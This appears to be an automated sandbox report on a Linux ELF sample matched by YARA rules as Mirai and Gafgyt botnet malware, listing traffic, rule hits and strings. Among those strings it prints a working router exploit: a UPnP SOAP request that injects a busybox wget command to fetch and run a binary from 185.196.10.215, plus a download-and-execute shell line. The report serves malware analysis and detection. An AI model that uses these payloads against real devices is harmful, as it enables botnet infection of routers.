Source: 17CiAkKMyC.elf |
ReversingLabs: Detection: 57% |
Source: global traffic |
TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.125.190.26 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.125.190.26 |
Source: unknown |
UDP traffic detected without corresponding DNS query: 1.1.1.1 |
Source: unknown |
UDP traffic detected without corresponding DNS query: 1.1.1.1 |
Source: global traffic |
DNS traffic detected: DNS query: daisy.ubuntu.com |
Source: 17CiAkKMyC.elf |
String found in binary or memory: http://185.196.10.215/atp%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ |
Source: 17CiAkKMyC.elf |
String found in binary or memory: http://185.196.10.215/bins/mips |
Source: 17CiAkKMyC.elf |
String found in binary or memory: http://185.196.10.215/bins/mips; |
Source: 17CiAkKMyC.elf |
String found in binary or memory: http://185.196.10.215/bins/x86 |
Source: 17CiAkKMyC.elf |
String found in binary or memory: http://purenetworks.com/HNAP1/ |
Source: 17CiAkKMyC.elf |
String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/ |
Source: 17CiAkKMyC.elf |
String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/ |
Source: unknown |
Network traffic detected: HTTP traffic on port 46540 -> 443 |
Source: 17CiAkKMyC.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown |
Source: 17CiAkKMyC.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown |
Source: 17CiAkKMyC.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown |
Source: 17CiAkKMyC.elf, type: SAMPLE |
Matched rule: Detects Mirai Botnet Malware Author: Florian Roth |
Source: Initial sample |
String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://185.196.10.215/bins/mips; /bin/busybox chmod 777 * atp.mips; ./atp.mips huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: ELF static info symbol of initial sample |
.symtab present: no |
Source: 17CiAkKMyC.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16 |
Source: 17CiAkKMyC.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16 |
Source: 17CiAkKMyC.elf, type: SAMPLE |
Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16 |
Source: 17CiAkKMyC.elf, type: SAMPLE |
Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b |
Source: classification engine |
Classification label: mal96.troj.linELF@0/0@2/0 |
Source: /usr/bin/dash (PID: 5468) |
Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.czFjcWPh1i /tmp/tmp.ElHTL6aAuP /tmp/tmp.rpE6mXwnI3 |
Jump to behavior |
Source: /usr/bin/dash (PID: 5469) |
Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.czFjcWPh1i /tmp/tmp.ElHTL6aAuP /tmp/tmp.rpE6mXwnI3 |
Jump to behavior |
Source: Yara match |
File source: 17CiAkKMyC.elf, type: SAMPLE |
Source: Yara match |
File source: 17CiAkKMyC.elf, type: SAMPLE |
Source: Yara match |
File source: 17CiAkKMyC.elf, type: SAMPLE |
Source: Yara match |
File source: 17CiAkKMyC.elf, type: SAMPLE |